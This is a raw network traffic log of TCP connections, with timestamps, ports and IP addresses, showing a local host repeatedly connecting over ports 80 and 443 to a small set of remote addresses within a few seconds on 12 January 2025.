Jan 12, 2025 09:27:00.671175957 CET	50109	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.674474001 CET	80	50106	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:00.675909996 CET	80	50110	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:00.675968885 CET	50110	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.675987005 CET	50110	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:00.680838108 CET	80	50110	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:00.891446114 CET	80	50108	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.891705036 CET	50108	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.892040968 CET	50114	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.892066956 CET	443	50114	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:00.892129898 CET	50114	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.892163038 CET	80	50108	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.892180920 CET	50114	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.892219067 CET	50108	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:00.892430067 CET	443	50114	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:00.892513037 CET	50114	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.892524958 CET	50115	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.896536112 CET	80	50108	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:00.897335052 CET	80	50115	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:00.897417068 CET	50115	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.897468090 CET	50115	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:00.902261019 CET	80	50115	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:01.126154900 CET	80	50110	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:01.126254082 CET	50110	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.126553059 CET	80	50110	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:01.126611948 CET	50110	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.128705025 CET	50120	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:01.128731012 CET	443	50120	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:01.128803015 CET	50120	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:01.129270077 CET	50120	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:01.129283905 CET	443	50120	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:01.131053925 CET	80	50110	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:01.370486975 CET	80	50115	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:01.370656013 CET	50115	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:01.370825052 CET	80	50115	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:01.370924950 CET	50115	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:01.371531010 CET	50121	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.371557951 CET	443	50121	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.371691942 CET	50121	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.371691942 CET	50121	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.371824026 CET	443	50121	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.371951103 CET	50121	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.372164965 CET	50122	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.375488997 CET	80	50115	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:01.377006054 CET	80	50122	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.377096891 CET	50122	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.377096891 CET	50122	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.381967068 CET	80	50122	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.585762978 CET	443	50120	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:01.585846901 CET	50120	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:01.587153912 CET	50120	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:01.587201118 CET	443	50120	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:01.587260008 CET	50120	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:01.587775946 CET	50123	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.587822914 CET	443	50123	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:01.587984085 CET	50123	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.587984085 CET	50123	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.588093042 CET	443	50123	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:01.588154078 CET	50123	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.588366032 CET	50124	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.593910933 CET	80	50124	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:01.593971968 CET	50124	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.594049931 CET	50124	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:01.600991964 CET	80	50124	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:01.833303928 CET	80	50122	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.833391905 CET	50122	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.833899021 CET	80	50122	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.833956003 CET	50122	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:01.833981037 CET	50130	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.834028006 CET	443	50130	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:01.834098101 CET	50130	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.834135056 CET	50130	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.834291935 CET	443	50130	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:01.834418058 CET	50131	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.834440947 CET	50130	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.838157892 CET	80	50122	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:01.839238882 CET	80	50131	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:01.839301109 CET	50131	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.839325905 CET	50131	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:01.844160080 CET	80	50131	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:02.078713894 CET	80	50124	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:02.078881025 CET	50124	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.079178095 CET	80	50124	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:02.079246998 CET	50124	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.079580069 CET	50132	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.079642057 CET	443	50132	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.079715014 CET	50132	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.079749107 CET	50132	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.079914093 CET	443	50132	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.080332041 CET	50133	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.080346107 CET	50132	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.083744049 CET	80	50124	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:02.085158110 CET	80	50133	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.085354090 CET	50133	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.085355043 CET	50133	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.090200901 CET	80	50133	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.288213968 CET	80	50131	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:02.288384914 CET	50131	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:02.288975954 CET	80	50131	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:02.289031029 CET	50131	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:02.290544987 CET	50136	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:02.290565014 CET	443	50136	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:02.290666103 CET	50136	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:02.291137934 CET	50136	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:02.291151047 CET	443	50136	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:02.293226957 CET	80	50131	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:02.536221027 CET	80	50133	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.536339998 CET	50133	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.536833048 CET	80	50133	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.536900043 CET	50133	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:02.537126064 CET	50142	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.537147045 CET	443	50142	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:02.538077116 CET	50142	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.538120985 CET	50142	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.538177013 CET	443	50142	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:02.538558960 CET	50143	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.538578987 CET	50142	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.541273117 CET	80	50133	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:02.543421030 CET	80	50143	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:02.543489933 CET	50143	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.543524027 CET	50143	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:02.548387051 CET	80	50143	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:02.764369011 CET	443	50136	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:02.764492035 CET	50136	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:02.766371965 CET	50136	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:02.766551018 CET	443	50136	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:02.766638994 CET	50136	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:02.767123938 CET	50144	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.767168045 CET	443	50144	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:02.767458916 CET	50144	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.767486095 CET	50144	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.767577887 CET	443	50144	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:02.767971992 CET	50144	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.767983913 CET	50145	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.772789955 CET	80	50145	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:02.772903919 CET	50145	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.772903919 CET	50145	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:02.777693033 CET	80	50145	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.022188902 CET	80	50143	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.022285938 CET	50143	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.022780895 CET	80	50143	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.022847891 CET	50143	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.023066044 CET	50146	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.023089886 CET	443	50146	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.023242950 CET	50146	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.023288965 CET	50146	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.023329020 CET	443	50146	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.023410082 CET	443	50146	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.023473024 CET	50146	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.023994923 CET	50147	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.027069092 CET	80	50143	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.028760910 CET	80	50147	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.028821945 CET	50147	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.028840065 CET	50147	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.033667088 CET	80	50147	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.248403072 CET	80	50145	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.248507977 CET	80	50145	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.248517036 CET	50145	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.248588085 CET	50145	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.249135017 CET	50153	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.249159098 CET	443	50153	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.249320984 CET	50153	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.249340057 CET	50153	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.249623060 CET	443	50153	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.249681950 CET	50153	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.249799967 CET	50154	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.253338099 CET	80	50145	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.254676104 CET	80	50154	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.254760981 CET	50154	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.254801989 CET	50154	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.259649992 CET	80	50154	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.481189013 CET	80	50147	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.481262922 CET	80	50147	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.481293917 CET	50147	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.481323004 CET	50147	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:03.484364986 CET	50157	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:03.484458923 CET	443	50157	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:03.484556913 CET	50157	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:03.485188961 CET	50157	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:03.485228062 CET	443	50157	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:03.486116886 CET	80	50147	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:03.714948893 CET	80	50154	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.715116978 CET	50154	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.715823889 CET	50158	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.715853930 CET	443	50158	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.715920925 CET	50158	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.715944052 CET	50158	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.716067076 CET	443	50158	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.716126919 CET	50158	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.716555119 CET	50159	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.717483044 CET	80	50154	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.717549086 CET	50154	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:03.719933033 CET	80	50154	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:03.721359968 CET	80	50159	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.721462965 CET	50159	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.721498966 CET	50159	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:03.726264954 CET	80	50159	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:03.962670088 CET	443	50157	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:03.962888956 CET	50157	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:03.963917971 CET	50157	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:03.964190006 CET	443	50157	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:03.964283943 CET	50157	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:03.964524984 CET	50164	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.964533091 CET	443	50164	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.964636087 CET	50164	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.964658022 CET	50164	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.964699030 CET	443	50164	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.964747906 CET	50164	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.965054989 CET	50165	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.970383883 CET	80	50165	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:03.970473051 CET	50165	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.970514059 CET	50165	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:03.975275040 CET	80	50165	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:04.195158958 CET	80	50159	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:04.195249081 CET	50159	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.195746899 CET	80	50159	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:04.196028948 CET	50159	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.196080923 CET	50167	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.196120024 CET	443	50167	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.196196079 CET	50167	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.196336031 CET	50167	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.196376085 CET	443	50167	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.196522951 CET	50168	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.196604967 CET	50167	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.200082064 CET	80	50159	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:04.201292038 CET	80	50168	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.201348066 CET	50168	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.201380968 CET	50168	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.206173897 CET	80	50168	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.430886984 CET	80	50165	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:04.431102991 CET	80	50165	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:04.431206942 CET	50165	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:04.431266069 CET	50165	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:04.432154894 CET	50169	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.432188988 CET	443	50169	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.432257891 CET	50169	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.432282925 CET	50169	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.432430029 CET	443	50169	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.432606936 CET	50169	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.432610035 CET	50170	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.436009884 CET	80	50165	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:04.437477112 CET	80	50170	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.437541962 CET	50170	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.437614918 CET	50170	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.442389011 CET	80	50170	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.714772940 CET	80	50168	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.715192080 CET	50168	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.715213060 CET	80	50168	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.715260983 CET	50168	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:04.720015049 CET	80	50168	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:04.727639914 CET	50174	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:04.727670908 CET	443	50174	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:04.727880001 CET	50174	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:04.729044914 CET	50174	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:04.729060888 CET	443	50174	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:04.922410011 CET	80	50170	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.922518015 CET	50170	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.923330069 CET	50179	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.923374891 CET	443	50179	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:04.923424006 CET	80	50170	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.923453093 CET	50179	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.923480034 CET	50170	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:04.923481941 CET	50179	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.923602104 CET	443	50179	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:04.923739910 CET	50179	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.923868895 CET	50180	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.927342892 CET	80	50170	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:04.928672075 CET	80	50180	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:04.928867102 CET	50180	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.928903103 CET	50180	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:04.933620930 CET	80	50180	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:05.203932047 CET	443	50174	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:05.204148054 CET	50174	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:05.205566883 CET	50174	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:05.205640078 CET	443	50174	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:05.205787897 CET	50174	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:05.206296921 CET	50181	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.206325054 CET	443	50181	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.206398010 CET	50181	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.206432104 CET	50181	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.206499100 CET	443	50181	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.206553936 CET	50181	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.206784964 CET	50182	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.211566925 CET	80	50182	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.211649895 CET	50182	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.211678982 CET	50182	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.216464996 CET	80	50182	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.382282019 CET	80	50180	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:05.382416010 CET	50180	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:05.382594109 CET	80	50180	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:05.382673025 CET	50180	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:05.383239031 CET	50183	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.383277893 CET	443	50183	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.383353949 CET	50183	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.383416891 CET	50183	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.383510113 CET	443	50183	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.383572102 CET	50183	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.383801937 CET	50184	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.387183905 CET	80	50180	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:05.388712883 CET	80	50184	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.388771057 CET	50184	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.388803005 CET	50184	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.393572092 CET	80	50184	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.662674904 CET	80	50182	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.662817955 CET	50182	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.663151979 CET	80	50182	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.663249969 CET	50182	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:05.663772106 CET	50190	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.663873911 CET	443	50190	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:05.663971901 CET	50190	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.664047003 CET	50190	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.664144039 CET	443	50190	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:05.664208889 CET	50190	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.664588928 CET	50191	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.667924881 CET	80	50182	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:05.669671059 CET	80	50191	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:05.669843912 CET	50191	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.669898987 CET	50191	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:05.674679041 CET	80	50191	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:05.838387012 CET	80	50184	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.838490963 CET	50184	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.838701963 CET	80	50184	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.838769913 CET	50184	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:05.843282938 CET	80	50184	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:05.843281031 CET	50194	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:05.843389034 CET	443	50194	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:05.843488932 CET	50194	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:05.844356060 CET	50194	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:05.844393015 CET	443	50194	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:06.141776085 CET	80	50191	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:06.142025948 CET	50191	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.142393112 CET	80	50191	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:06.142505884 CET	50191	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.142808914 CET	50195	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.142863989 CET	443	50195	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.142945051 CET	50195	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.142977953 CET	50195	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.143110037 CET	443	50195	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.143167973 CET	50195	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.143379927 CET	50196	80	192.168.2.7	172.67.176.186
